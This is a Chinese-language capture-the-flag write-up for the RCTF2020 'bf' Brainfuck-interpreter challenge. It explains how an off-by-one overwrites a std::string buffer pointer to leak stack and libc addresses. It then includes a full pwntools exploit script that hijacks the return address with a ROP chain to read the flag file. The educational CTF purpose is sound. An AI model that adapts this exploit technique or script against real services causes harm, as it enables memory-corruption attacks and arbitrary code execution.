0%

RCTF2020_bf(string指针的利用)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,发现是一个brain fuck语言的解释器,其中在>指令操作中,存在一个off by one,ptr指针可以指向string对象,

然后,通过后面的read等操作,可以控制string内部第一个指针的低1字节

而结尾的时候,会输出string指针指向的地方的内容

因此,控制string指针,我们现在可以完成数据泄露。

String对象内部有这4个成员,我们能够通过off by one控制buf。该指针指向字符串的数据开始处。

1
2
3
4
5
6
struct {
char *buf;
size_t size;
size_t capacity;
char tmp_buf[8];
};

程序开头,使用operator+来将字符连接到string中,operator+主要就是把字符串拼接到buf+size指向的位置处。而开头的时候,使用了clear(&string,0),该操作将把size赋值为0,由此,我们可以利用此来实现string指针地址附近任意读写。

通过阅读源码再加以调试,[string对象初始的时候,其buf指针一开始指向string对象的tmp_buf处]{.mark},当长度超过8字节时,会使用malloc分配堆内存来存储字符串。这就是重点了。

这个string对象是放在栈上的,所以只要其字符串不超过8字节,那么buf指向的就是栈地址,通过低1字节控制buf指向,就能实现对栈上数据进行读写。当我们控制栈以后,修改capacity,这样,就可以写更多的数据,而不会触发string调用malloc重新申请内存。我们劫持返回地址,做ROP即可。我们可以把rop布置在前面的box里面。当我们结束修改以后,最后我们需要把buf指针改回原来的位置,不然string的析构函数执行时会崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
offset = libc.symbols['__libc_start_main'] + 0xE7
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']

while True:
try:
global sh
#sh = process('./bf')
sh = remote('124.156.135.103',6002)
payload = '+[>+],'
sh.sendlineafter('enter your code:',payload)
sh.sendafter('running....',p8(0xB0))
sh.recvuntil('done! your code: ')
x = u64(sh.recv(6).ljust(8,'\x00'))
if x >> 40 != 0x7F:
raise Exception('leak error')
stack_addr = x
print 'stack_addr=',hex(x)
sh.sendafter('want to continue?','y')
sh.sendlineafter('enter your code:',payload)
sh.sendafter('running....',p8(0xC8))
sh.recvuntil('done! your code: ')
x = u64(sh.recv(6).ljust(8,'\x00'))
if x >> 40 != 0x7F:
raise Exception('leak error')
libc_base = x - offset
pop_rdi = libc_base + 0x000000000002155f
pop_rsi = libc_base + 0x0000000000023e6a
pop_rdx = libc_base + 0x0000000000001b96
pop_rsp = libc_base + 0x0000000000003960
open_addr = libc_base + open_s
read_addr = libc_base + read_s
write_addr = libc_base + write_s
print 'libc_base=',hex(libc_base)
print 'open_addr=',hex(open_addr)
print 'read_addr=',hex(read_addr)
print 'write_addr=',hex(write_addr)
sh.sendafter('want to continue?','y')

rop_addr = stack_addr - 0x1C0
flag_addr = rop_addr + 0x98

sh.sendlineafter('enter your code:',payload)
sh.sendafter('running....',p8(0xC8-8))
sh.sendafter('want to continue?','y')
payload = '+[,>+],a' + p64(pop_rsp) + p64(rop_addr)
sh.sendlineafter('enter your code:',payload)

sh.recvuntil('running....')
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
rop += './flag\x00'
for i in range(0x400 - len(rop) - 1):
sh.send('a')
for x in rop:
sh.send(x)
sh.send('a')
#复原
sh.send(p8(0x90))

sh.interactive()
except:
sh.close()
print 'trying...'